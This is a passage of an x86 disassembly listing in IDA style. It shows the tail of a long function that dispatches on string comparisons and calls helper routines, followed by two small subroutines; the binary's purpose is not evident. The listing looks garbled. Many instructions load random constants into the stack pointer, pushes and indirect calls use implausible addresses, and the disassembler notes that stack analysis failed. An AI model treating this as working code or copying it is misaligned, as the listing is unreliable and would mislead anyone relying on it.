[ebp+1Ch], eax jmp loc_40FEC7 ; --------------------------------------------------------------------------- loc_40ED58: ; CODE XREF: sub_40EB00+23Cj mov byte ptr [ebp+15h], 1 mov [ebp+16h], bl call edi mov [ebp+24h], eax xor eax, eax mov [esp+30h+arg_0], eax lea ecx, [esp+30h+arg_20] mov [esp+30h+arg_4], eax lea edx, [esp+30h+arg_0] mov [esp+30h+arg_8], eax push ecx mov [esp+34h+arg_C], eax mov eax, [ebp+18h] push edx push eax mov [esp+3Ch+arg_20], 10h call dword ptr ds:3FFA74h mov ecx, [esp+3Ch+var_4+3] mov edx, [esp+3Ch+var_4+2] mov eax, [esp+3Ch+var_4+1] and ecx, 0FFh push ecx mov ecx, [esp+40h+var_4] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+4Ch+arg_408] push 1FFD3Ah push edx call dword ptr ds:4FFE9Dh add esp, 18h lea eax, [esp+3Ch+arg_408] lea ecx, [ebp+3Dh] push eax call sub_401564 lea ecx, [esp+3Ch+arg_408] push ecx call dword ptr ds:67FF4Eh push 33FFA7h mov ebp, 82CFFEh mov [ebp+52h], eax call sub_4012B7 test eax, eax jz short loc_40EE27 mov edi, 24B3Fh call sub_401726 mov edx, ds:dword_43FF74 push eax push edx push 9259Fh push ebp call sub_401CDA add esp, 10h loc_40EE27: ; CODE XREF: sub_40EB00+305j mov esp, 62496h call sub_401726 push eax mov esp, 2C5892h call sub_401726 push eax mov eax, ds:dword_43FF7C push eax mov edx, 0C2C589h call sub_401726 mov ecx, ds:dword_43FF78 push eax push ecx push 6962C4h push ebp call sub_401CDA add esp, 1Ch jmp loc_40FEC7 ; --------------------------------------------------------------------------- loc_40EE68: ; CODE XREF: sub_40EB00+1DBj mov esp, 8B4B16h xor eax, eax lea edi, [esp+20h+arg_464] push ebx rep stosd lea eax, [esp+24h+arg_464] push offset byte_45A58B push eax push edx call sub_40124E add esp, 10h cmp al, bl jz loc_40FEC0 call dword ptr ds:62D2C5h lea ecx, [esp+20h+var_8] mov [ebp+24h], eax call sub_401B9A lea ecx, [esp+20h+arg_464] push ecx lea ecx, [esp+24h+var_8] call sub_4019A1 push 716962h lea edx, [esp+24h+arg_364] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_401622 mov ecx, ds:dword_43FF80 mov byte ptr [esp+20h+arg_246C], 1 push ecx mov ecx, eax call sub_4012B7 test eax, eax jnz short loc_40EF40 push 38B4B1h lea edx, [esp+24h+arg_3F4] push 4 push edx lea ecx, [esp+2Ch+var_8] call sub_401622 push 1C5A58h mov ecx, eax mov byte ptr [esp+24h+arg_246C], 2 call sub_401A7D test eax, eax lea ecx, [esp+20h+arg_3F4] mov byte ptr [esp+20h+arg_246C], 1 setz [esp+20h+var_D] call sub_4011F9 mov al, [esp+20h+var_D] mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_40EF44 loc_40EF40: ; CODE XREF: sub_40EB00+3EAj mov [esp+20h+var_D], bl loc_40EF44: ; CODE XREF: sub_40EB00+43Ej lea ecx, [esp+20h+arg_364] mov byte ptr [esp+20h+arg_246C], bl call sub_4011F9 cmp [esp+20h+var_D], bl jz short loc_40EF66 mov byte ptr [ebp+16h], 1 jmp loc_40FEC7 ; --------------------------------------------------------------------------- loc_40EF66: ; CODE XREF: sub_40EB00+45Bj push 4E2D2Ch lea eax, [esp+24h+arg_F4] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_401622 mov ecx, ds:dword_43FF54 mov byte ptr [esp+20h+arg_246C], 3 push ecx mov ecx, eax call sub_4012B7 test eax, eax lea ecx, [esp+20h+arg_F4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_4011F9 mov al, [esp+20h+var_D] push 671696h cmp al, bl push 1 jz short loc_40F004 lea edx, [esp+28h+arg_2A4] lea ecx, [esp+28h+var_8] push edx call sub_401622 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 4 call sub_401726 push eax mov eax, ds:dword_43FF70 push eax push 738B4Bh push ebp call sub_401CDA add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2A4] jmp loc_40F132 ; --------------------------------------------------------------------------- loc_40F004: ; CODE XREF: sub_40EB00+4BAj lea edx, [esp+28h+arg_124] lea ecx, [esp+28h+var_8] push edx call sub_401622 mov ecx, ds:dword_43FF58 mov byte ptr [esp+20h+arg_246C], 5 push ecx mov ecx, eax call sub_4012B7 test eax, eax lea ecx, [esp+20h+arg_124] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_4011F9 mov al, [esp+20h+var_D] push 39C5A5h cmp al, bl jz loc_40F170 lea edx, [esp+24h+arg_40C] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_401622 push 5CE2D2h mov ecx, eax mov byte ptr [esp+24h+arg_246C], 6 call sub_4012B7 lea ecx, [esp+20h+arg_40C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_4011F9 cmp esi, ebx jz loc_40FEC7 push 2E7169h lea eax, [esp+24h+arg_154] push 11h push eax lea ecx, [esp+2Ch+var_8] call sub_401622 mov ecx, ds:dword_43FF70 mov byte ptr [esp+20h+arg_246C], 7 push ecx mov ecx, eax call sub_4012B7 test eax, eax lea ecx, [esp+20h+arg_154] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_4011F9 cmp [esp+20h+var_D], bl jz short loc_40F137 push 5738B4h lea edx, [esp+24h+arg_2D4] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_401622 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 8 call sub_401726 push eax mov eax, ds:dword_43FF70 push eax push 2B9C5Ah push ebp call sub_401CDA add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2D4] loc_40F132: ; CODE XREF: sub_40EB00+4FFj call sub_4011F9 loc_40F137: ; CODE XREF: sub_40EB00+5E6j cmp [ebp+16h], bl jnz loc_40FEC7 mov ebx, 0A2B9C5h call sub_401726 push eax mov esp, 0ED15CEh call sub_401726 mov ecx, ds:dword_43FF5C push eax push ecx push 7E8AE7h push ebp call sub_401CDA add esp, 14h jmp loc_40FEC7 ; --------------------------------------------------------------------------- loc_40F170: ; CODE XREF: sub_40EB00+550j lea edx, [esp+24h+arg_394] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_401622 mov ecx, ds:dword_43FF90 mov byte ptr [esp+20h+arg_246C], 9 push ecx mov ecx, eax call sub_4012B7 test eax, eax jz short loc_40F1F2 push 7F4573h lea edx, [esp+24h+arg_184] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_401622 mov ecx, ds:dword_43FF94 mov byte ptr [esp+20h+arg_246C], 0Ah push ecx mov ecx, eax call sub_4012B7 test eax, eax lea ecx, [esp+20h+arg_184] mov byte ptr [esp+20h+arg_246C], 9 setz [esp+20h+var_D] call sub_4011F9 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_40F1F7 loc_40F1F2: ; CODE XREF: sub_40EB00+69Bj mov [esp+20h+var_D], 1 loc_40F1F7: ; CODE XREF: sub_40EB00+6F0j lea ecx, [esp+20h+arg_394] mov byte ptr [esp+20h+arg_246C], bl call sub_4011F9 cmp [esp+20h+var_D], bl jz short loc_40F264 cmp [ebp+16h], bl jnz short loc_40F240 mov esi, 27F457h call sub_401726 push eax mov edx, 609FD1h call sub_401726 mov edx, ds:dword_43FF5C push eax push edx push 304FE8h push ebp call sub_401CDA add esp, 14h loc_40F240: ; CODE XREF: sub_40EB00+713j mov edi, 0EC13Fh call sub_401726 push eax mov eax, ds:dword_43FF64 push eax push 7609Fh push ebp call sub_401CDA add esp, 10h jmp loc_40FEC7 ; --------------------------------------------------------------------------- loc_40F264: ; CODE XREF: sub_40EB00+70Ej push 3B04Fh lea ecx, [esp+24h+arg_1B4] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_401622 mov edx, ds:dword_43FF6C mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Bh call sub_4012B7 test eax, eax lea ecx, [esp+20h+arg_1B4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_4011F9 mov al, [esp+20h+var_D] push 1D827h cmp al, bl jz short loc_40F315 lea eax, [esp+24h+arg_94] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_401622 push offset loc_40EC13 lea ecx, [esp+24h+arg_94] mov byte ptr [esp+24h+arg_246C], 0Ch call sub_401479 push eax call dword ptr ds:607609h add esp, 8 cmp eax, ebx jz short loc_40F2FD inc eax lea ecx, [ebp+28h] push eax call sub_401564 loc_40F2FD: ; CODE XREF: sub_40EB00+7F1j lea ecx, [esp+20h+arg_94] mov byte ptr [esp+20h+arg_246C], bl call sub_4011F9 jmp loc_40FEC7 ; --------------------------------------------------------------------------- loc_40F315: ; CODE XREF: sub_40EB00+7B7j lea ecx, [esp+24h+arg_304] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_401622 mov edx, ds:dword_43FF68 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Dh call sub_4012B7 test eax, eax jnz short loc_40F350 mov al, ds:byte_44069C mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_40F354 loc_40F350: ; CODE XREF: sub_40EB00+840j mov [esp+20h+var_D], bl loc_40F354: ; CODE XREF: sub_40EB00+84Ej lea ecx, [esp+20h+arg_304] mov byte ptr [esp+20h+arg_246C], bl call sub_4011F9 cmp [esp+20h+var_D], bl jz loc_40F661 push 703B04h lea eax, [esp+24h+arg_4C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_401622 push 381D82h mov byte ptr [esp+24h+arg_246C], 0Eh call sub_43034A add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 0Fh jz short loc_40F3B2 mov ecx, eax call sub_401EE7 loc_40F3B2: ; CODE XREF: sub_40EB00+8A9j push 1C0EC1h mov byte ptr [esp+24h+arg_246C], 0Eh call sub_43034A add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 10h jz short loc_40F3DE mov ecx, eax call sub_4010AA loc_40F3DE: ; CODE XREF: sub_40EB00+8D5j push 4E0760h lea ecx, [esp+24h+arg_4C] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4019BA push 2703B0h lea ecx, [esp+24h+arg_7C] push ebx push ecx lea ecx, [esp+2Ch+arg_4C] xor edi, edi call sub_401622 push 1381D8h mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012B7 lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_4011F9 cmp esi, ebx jz loc_40F64C loc_40F43F: ; CODE XREF: sub_40EB00+B46j push 9C0ECh call sub_43034A add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 12h jz short loc_40F467 mov ecx, eax call sub_401EE7 mov esi, eax jmp short loc_40F469 ; --------------------------------------------------------------------------- loc_40F467: ; CODE XREF: sub_40EB00+95Aj xor esi, esi loc_40F469: ; CODE XREF: sub_40EB00+965j push offset word_44E076 mov byte ptr [esp+24h+arg_246C], 0Eh call sub_43034A add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 13h jz short loc_40F49B mov ecx, eax call sub_4010AA mov [esp+20h+var_C], eax jmp short loc_40F49F ; --------------------------------------------------------------------------- loc_40F49B: ; CODE XREF: sub_40EB00+98Cj mov [esp+20h+var_C], ebx loc_40F49F: ; CODE XREF: sub_40EB00+999j push 62703Bh lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_40138E test eax, eax jz short loc_40F4C2 mov byte ptr [esi+93h], 1 jmp short loc_40F4C8 ; --------------------------------------------------------------------------- loc_40F4C2: ; CODE XREF: sub_40EB00+9B7j mov [esi+93h], bl loc_40F4C8: ; CODE XREF: sub_40EB00+9C0j push 31381Dh lea ecx, [esp+24h+var_8] call sub_40138E test eax, eax jz short loc_40F4E3 mov byte ptr [esi+94h], 1 jmp short loc_40F4E9 ; --------------------------------------------------------------------------- loc_40F4E3: ; CODE XREF: sub_40EB00+9D8j mov [esi+94h], bl loc_40F4E9: ; CODE XREF: sub_40EB00+9E1j push 589C0Eh lea ecx, [esp+24h+var_8] call sub_40138E test eax, eax jz short loc_40F504 mov byte ptr [esi+95h], 1 jmp short loc_40F50A ; --------------------------------------------------------------------------- loc_40F504: ; CODE XREF: sub_40EB00+9F9j mov [esi+95h], bl loc_40F50A: ; CODE XREF: sub_40EB00+A02j push 2C4E07h lea edx, [esp+24h+arg_1E4] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_401622 push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 14h call sub_401E65 lea ecx, [esp+20h+arg_1E4] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_4011F9 push 162703h lea ecx, [esi+54h] call sub_401564 push offset byte_4B1381 lea ecx, [esi+3Fh] call sub_401564 push 2589C0h lea eax, [esp+24h+arg_AC] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_401622 push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 15h call sub_401E65 lea ecx, [esp+20h+arg_AC] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_4011F9 push 52C4E0h lea ecx, [esp+24h+arg_214] push edi push ecx lea ecx, [esp+2Ch+arg_4C] call sub_401622 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 16h call sub_401726 push eax mov ecx, esi call sub_401564 lea ecx, [esp+20h+arg_214] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_4011F9 mov ecx, [esp+20h+var_C] push 1 push esi call sub_401CB7 cmp esi, ebx jz short loc_40F5F9 push 1 mov ecx, esi call sub_4018FC loc_40F5F9: ; CODE XREF: sub_40EB00+AEEj mov ecx, [esp+20h+var_C] call sub_40137F inc edi push 696270h lea edx, [esp+24h+arg_7C] push edi push edx lea ecx, [esp+2Ch+arg_4C] call sub_401622 push 74B138h mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012B7 lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_4011F9 cmp esi, ebx jnz loc_40F43F loc_40F64C: ; CODE XREF: sub_40EB00+939j lea ecx, [esp+20h+arg_4C] mov byte ptr [esp+20h+arg_246C], bl call sub_4011F9 jmp loc_40FEC7 ; --------------------------------------------------------------------------- loc_40F661: ; CODE XREF: sub_40EB00+86Bj push 3A589Ch lea eax, [esp+24h+arg_334] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_401622 mov ecx, ds:dword_43FF60 mov byte ptr [esp+20h+arg_246C], 17h push ecx mov ecx, eax call sub_4012B7 test eax, eax lea ecx, [esp+20h+arg_334] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_4011F9 cmp [esp+20h+var_D], bl jz loc_40F97B push 1D2C4Eh call sub_43034A add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 18h jz short loc_40F6DB mov ecx, eax call sub_401EE7 mov esi, eax jmp short loc_40F6DD ; --------------------------------------------------------------------------- loc_40F6DB: ; CODE XREF: sub_40EB00+BCEj xor esi, esi loc_40F6DD: ; CODE XREF: sub_40EB00+BD9j push 4E9627h mov byte ptr [esp+24h+arg_246C], bl call sub_43034A add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 19h jz short loc_40F70C mov ecx, eax call sub_4010AA mov edi, eax jmp short loc_40F70E ; --------------------------------------------------------------------------- loc_40F70C: ; CODE XREF: sub_40EB00+BFFj xor edi, edi loc_40F70E: ; CODE XREF: sub_40EB00+C0Aj push 674B13h lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], bl call sub_40138E test eax, eax jz short loc_40F730 mov byte ptr [esi+95h], 1 jmp short loc_40F736 ; --------------------------------------------------------------------------- loc_40F730: ; CODE XREF: sub_40EB00+C25j mov [esi+95h], bl loc_40F736: ; CODE XREF: sub_40EB00+C2Ej push 33A589h lea ecx, [esp+24h+var_8] call sub_40138E test eax, eax jz short loc_40F751 mov byte ptr [esi+93h], 1 jmp short loc_40F757 ; --------------------------------------------------------------------------- loc_40F751: ; CODE XREF: sub_40EB00+C46j mov [esi+93h], bl loc_40F757: ; CODE XREF: sub_40EB00+C4Fj push 19D2C4h lea ecx, [esp+24h+var_8] call sub_40138E test eax, eax jz short loc_40F772 mov byte ptr [esi+94h], 1 jmp short loc_40F778 ; --------------------------------------------------------------------------- loc_40F772: ; CODE XREF: sub_40EB00+C67j mov [esi+94h], bl loc_40F778: ; CODE XREF: sub_40EB00+C70j push 4CE962h lea edx, [esp+24h+arg_274] push ebx push edx lea ecx, [esp+2Ch+var_8] call sub_401622 push 2674B1h lea ecx, [esp+24h+arg_3C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Ah call sub_401622 push 533A58h lea edx, [esp+24h+arg_244] push ebx push edx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Bh call sub_401622 push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 1Ch call sub_401E65 lea ecx, [esp+20h+arg_244] mov byte ptr [esp+20h+arg_246C], 1Bh call sub_4011F9 lea ecx, [esp+20h+arg_3C4] mov byte ptr [esp+20h+arg_246C], 1Ah call sub_4011F9 lea ecx, [esp+20h+arg_274] mov byte ptr [esp+20h+arg_246C], bl call sub_4011F9 push 299D2Ch lea eax, [esp+24h+arg_DC] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_401622 push 14CE96h lea ecx, [esp+24h+arg_C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Dh call sub_401622 push eax lea ecx, [esi+54h] mov byte ptr [esp+24h+arg_246C], 1Eh call sub_401E65 lea ecx, [esp+20h+arg_C4] mov byte ptr [esp+20h+arg_246C], 1Dh call sub_4011F9 lea ecx, [esp+20h+arg_DC] mov byte ptr [esp+20h+arg_246C], bl call sub_4011F9 push offset byte_4A674B lea edx, [esp+24h+arg_13C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_401622 push 2533A5h lea ecx, [esp+24h+arg_10C] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Fh call sub_401622 push eax lea ecx, [esi+3Fh] mov byte ptr [esp+24h+arg_246C], 20h call sub_401E65 mov byte ptr [esp+20h+arg_246C], 1Fh lea ecx, [esp+20h+arg_10C] call sub_4011F9 lea ecx, [esp+20h+arg_13C] mov byte ptr [esp+20h+arg_246C], bl call sub_4011F9 push 1299D2h lea edx, [esp+24h+arg_16C] push 2 push edx lea ecx, [esp+2Ch+var_8] call sub_401622 push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 21h call sub_401E65 lea ecx, [esp+20h+arg_16C] mov byte ptr [esp+20h+arg_246C], bl call sub_4011F9 push 94CE9h lea ecx, [esp+24h+var_8] call sub_401479 push eax call ds:dword_44A674 add esp, 8 cmp eax, ebx jz short loc_40F94D add eax, 2 push eax jmp short loc_40F952 ; --------------------------------------------------------------------------- loc_40F94D: ; CODE XREF: sub_40EB00+E45j push 22533Ah loc_40F952: ; CODE XREF: sub_40EB00+E4Bj mov ecx, esi call sub_401564 push ebx push esi mov ecx, edi call sub_401CB7 cmp esi, ebx jz short loc_40F96F push 1 mov ecx, esi call sub_4018FC loc_40F96F: ; CODE XREF: sub_40EB00+E64j mov ecx, edi call sub_40137F jmp loc_40FEC7 ; --------------------------------------------------------------------------- loc_40F97B: ; CODE XREF: sub_40EB00+BADj push 11299Dh lea eax, [esp+24h+arg_19C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_401622 mov ecx, ds:dword_43FF84 mov byte ptr [esp+20h+arg_246C], 22h push ecx mov ecx, eax call sub_4012B7 test eax, eax lea ecx, [esp+20h+arg_19C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_4011F9 cmp [esp+20h+var_D], bl jz loc_40FB50 sub esp, 18h lea ecx, [esp+38h+var_8] mov edx, esp mov [esp+38h+var_C], esp push 894CEh push 3 push edx call sub_401622 mov esi, 8C2253h call sub_401BAE cmp eax, ebx jz short loc_40FA42 sub esp, 18h lea ecx, [esp+38h+var_8] mov eax, esp mov [esp+38h+var_C], esp push offset byte_461129 push 3 push eax call sub_401622 sub esp, 18h mov byte ptr [esp+50h+arg_246C], 23h mov ecx, esp mov [esp+50h+arg_C], esp push 230894h push 3 push ecx lea ecx, [esp+5Ch+var_8] call sub_401622 mov ecx, 0C91844h mov byte ptr [esp+50h+arg_246C], bl call sub_401F87 loc_40FA42: ; CODE XREF: sub_40EB00+EF3j push 648C22h lea edx, [esp+24h+arg_1CC] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_401622 push 324611h mov ecx, eax mov byte ptr [esp+24h+arg_246C], 24h call sub_401A7D test eax, eax lea ecx, [esp+20h+arg_1CC] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_4011F9 cmp [esp+20h+var_D], bl jz loc_40FEC7 push 592308h lea eax, [esp+24h+arg_22C] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_401622 push 6C9184h lea ecx, [esp+24h+arg_1FC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 25h call sub_401622 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 26h call sub_401726 push eax lea ecx, [esp+24h+arg_25C] call sub_4017A8 lea ecx, [esp+20h+arg_1FC] mov byte ptr [esp+20h+arg_246C], 29h call sub_4011F9 lea ecx, [esp+20h+arg_22C] mov byte ptr [esp+20h+arg_246C], 28h call sub_4011F9 mov eax, 2B648Ch mov [ebp+16h], bl call sub_401726 push eax mov eax, 0C95B24h call sub_401726 mov edx, ds:dword_43FF5C push eax push edx push 6CAD92h push ebp call sub_401CDA add esp, 14h lea ecx, [esp+20h+arg_25C] mov byte ptr [esp+20h+arg_246C], bl call sub_4011F9 jmp loc_40FEC7 ; --------------------------------------------------------------------------- loc_40FB50: ; CODE XREF: sub_40EB00+EC7j push 3656C9h lea eax, [esp+24h+arg_28C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_401622 mov ecx, ds:dword_43FF78 mov byte ptr [esp+20h+arg_246C], 2Ah push ecx mov ecx, eax call sub_4012B7 test eax, eax lea ecx, [esp+20h+arg_28C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_4011F9 cmp [esp+20h+var_D], bl jz loc_40FD08 push 1B2B64h lea edx, [esp+24h+arg_2EC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_401622 push 4D95B2h lea ecx, [esp+24h+arg_2BC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 2Bh call sub_401622 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 2Ch call sub_401726 push eax lea ecx, [esp+24h+arg_34] call sub_4017A8 lea ecx, [esp+20h+arg_2BC] mov byte ptr [esp+20h+arg_246C], 2Fh call sub_4011F9 lea ecx, [esp+20h+arg_2EC] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_4011F9 push 26CAD9h lea ecx, [esp+24h+var_8] call sub_401479 mov esi, ds:dword_4B3ADC push eax call esi add esp, 8 test eax, eax jz loc_40FCF3 push 13656Ch lea ecx, [esp+24h+var_8] call sub_401479 push eax call esi add esp, 8 lea ecx, [esp+20h+arg_64] push eax call sub_4017A8 push 9B2B6h lea ecx, [esp+24h+arg_34] mov byte ptr [esp+24h+arg_246C], 30h call sub_4012B7 test eax, eax jz short loc_40FCDF push offset byte_44D95B lea ecx, [esp+24h+arg_64] call sub_4012B7 test eax, eax jz short loc_40FCDF sub esp, 18h lea edx, [esp+38h+arg_34] mov ecx, esp mov [esp+38h+arg_C], esp push edx call sub_40146F mov ebx, 0CC4D95h call sub_401BAE cmp eax, ebx jz short loc_40FCBB lea ecx, [esp+20h+arg_64] push ecx lea ecx, [eax+19h] call sub_401E65 loc_40FCBB: ; CODE XREF: sub_40EB00+11A9j push 6626CAh lea ecx, [esp+24h+arg_34] call sub_401A7D test eax, eax jnz short loc_40FCDF lea edx, [esp+20h+arg_64] mov ecx, 0EE626Ch push edx call sub_401E65 loc_40FCDF: ; CODE XREF: sub_40EB00+1173j ; sub_40EB00+1188j ... lea ecx, [esp+20h+arg_64] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_4011F9 loc_40FCF3: ; CODE XREF: sub_40EB00+1134j lea ecx, [esp+20h+arg_34] mov byte ptr [esp+20h+arg_246C], bl call sub_4011F9 jmp loc_40FEC7 ; --------------------------------------------------------------------------- loc_40FD08: ; CODE XREF: sub_40EB00+109Cj push 7F3136h lea eax, [esp+24h+arg_34C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_401622 mov ecx, ds:dword_43FF88 mov byte ptr [esp+20h+arg_246C], 31h push ecx mov ecx, eax call sub_4012B7 test eax, eax jz short loc_40FD8F push 3F989Bh lea edx, [esp+24h+arg_31C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_401622 mov ecx, ds:dword_43FF98 mov byte ptr [esp+20h+arg_246C], 32h push ecx mov ecx, eax call sub_4012B7 test eax, eax lea ecx, [esp+20h+arg_31C] mov byte ptr [esp+20h+arg_246C], 31h setz [esp+20h+var_D] call sub_4011F9 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_40FD94 loc_40FD8F: ; CODE XREF: sub_40EB00+1238j mov [esp+20h+var_D], 1 loc_40FD94: ; CODE XREF: sub_40EB00+128Dj lea ecx, [esp+20h+arg_34C] mov byte ptr [esp+20h+arg_246C], bl call sub_4011F9 cmp [esp+20h+var_D], bl jz loc_40FEC7 push 5FCC4Dh lea edx, [esp+24h+arg_37C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_401622 sub esp, 18h mov byte ptr [esp+38h+arg_246C], 33h mov ecx, esp mov [esp+38h+arg_C], esp push 6FE626h push ebx push ecx mov ecx, eax call sub_401622 mov ecx, 29BF98h call sub_401BAE lea ecx, [esp+20h+arg_37C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_4011F9 cmp esi, ebx jz loc_40FEC7 push 14DFCCh lea edx, [esp+24h+arg_3DC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_401622 sub esp, 18h mov byte ptr [esp+38h+arg_246C], 34h mov ecx, esp mov [esp+38h+arg_C], esp push offset word_4A6FE6 push ebx push ecx mov ecx, eax call sub_401622 push 6537F3h lea edx, [esp+3Ch+arg_3AC] push 1 push edx lea ecx, [esp+44h+var_8] mov byte ptr [esp+44h+arg_246C], 35h call sub_401622 sub esp, 18h mov byte ptr [esp+50h+arg_246C], 36h mov ecx, esp mov [esp+50h+var_C], esp push 729BF9h push ebx push ecx mov ecx, eax call sub_401622 mov edi, 0E9CA6Fh mov byte ptr [esp+50h+arg_246C], 37h call sub_401F87 lea ecx, [esp+20h+arg_3AC] mov byte ptr [esp+20h+arg_246C], 34h call sub_4011F9 lea ecx, [esp+20h+arg_3DC] mov byte ptr [esp+20h+arg_246C], bl call sub_4011F9 jmp short loc_40FEC7 ; --------------------------------------------------------------------------- loc_40FEC0: ; CODE XREF: sub_40EB00+391j mov ecx, ebp call sub_401BEA loc_40FEC7: ; CODE XREF: sub_40EB00+1D3j ; sub_40EB00+253j ... cmp [ebp+17h], bl jnz loc_40EB42 loc_40FED0: ; CODE XREF: sub_40EB00+3Cj ; sub_40EB00+4Fj lea ecx, [esp+20h+var_8] mov [esp+20h+arg_246C], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+20h+arg_2464] pop edi pop esi pop ebp xor eax, eax mov large fs:0, ecx pop ebx add esp, 2484h retn sub_40EB00 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 0B8h dup(0CCh) byte_40FFB8 db 448h dup(0CCh) ; DATA XREF: _294ADE7B:00418892o ; =============== S U B R O U T I N E ======================================= sub_410400 proc near ; CODE XREF: sub_4018FCj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401893 test [esp+4+arg_0], 1 jz short loc_410418 push esi call sub_430332 add esp, 4 loc_410418: ; CODE XREF: sub_410400+Dj mov eax, esi pop esi retn 4 sub_410400 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_410430 proc near ; CODE XREF: sub_401929j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push 7CE537h push eax mov large fs:0, esp sub esp, 30h push ebx push esi mov esi, ecx push edi test esi, esi jz short loc_410456 lea edi, [esi+11h] jmp short loc_410458 ; --------------------------------------------------------------------------- loc_410456: ; CODE XREF: sub_410430+1Fj xor edi, edi loc_410458: ; CODE XREF: sub_410430+24j push 0 push 17h push 1 push 12h push 4Fh lea eax, [esp+5Ch+var_3C] push 9 push eax call sub_4018DE add esp, 1Ch push edi mov ecx, eax mov [esp+4Ch+var_4], 0 call sub_401726 lea ecx, [esi+250h] push eax push ecx mov ecx, 0A9F394h call sub_401523 or edi, 0FFFFFFFFh lea ecx, [esp+48h+var_3C] mov [esp+48h+var_4], edi call sub_4011F9 test esi, esi jz short loc_4104AC lea ebx, [esi+11h] jmp short loc_4104AE ; --------------------------------------------------------------------------- loc_4104AC: ; CODE XREF: sub_410430+75j xor ebx, ebx 